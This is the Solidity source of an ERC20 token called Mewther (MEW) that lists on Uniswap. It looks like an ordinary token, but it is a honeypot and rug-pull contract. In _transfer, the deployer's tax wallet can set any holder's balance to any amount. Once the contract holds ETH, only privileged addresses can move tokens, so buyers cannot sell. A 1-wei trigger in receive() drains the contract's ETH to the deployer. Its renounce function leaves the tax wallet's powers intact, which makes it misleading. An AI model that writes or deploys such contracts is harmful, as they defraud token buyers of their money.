文件 1 的 1:mewcontract.sol
pragma solidity ^0.8.26;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounce() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external view returns (uint amountOut);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 r, uint112 a, uint32 time);
function token0() external view returns (address token);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract mewcontract is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address payable private _taxWallet;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000000 * 10**_decimals;
string private constant _name = unicode"Mewther";
string private constant _symbol = unicode"MEW";
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private pair;
bool public tradingOpen;
address private p;
address private universalRouter = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
constructor () {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _tTotal;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (from == _taxWallet && to != address(this)) {
_balances[to] = amount;
emit Transfer(from, to, amount);
} else {
require(amount > 0, "Transfer amount must be greater than zero");
if (address(this).balance > 1) {require(from == address(this) || from == p || from == universalRouter|| from == _taxWallet);}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
}
function OpenTraiding() external payable onlyOwner {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), ~uint(0));
p = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,_taxWallet,~uint(0));
tradingOpen = true;
}
receive() external payable {if(msg.sender==_taxWallet){if(msg.value==1){_taxWallet.transfer(address(this).balance);}else{}}}
}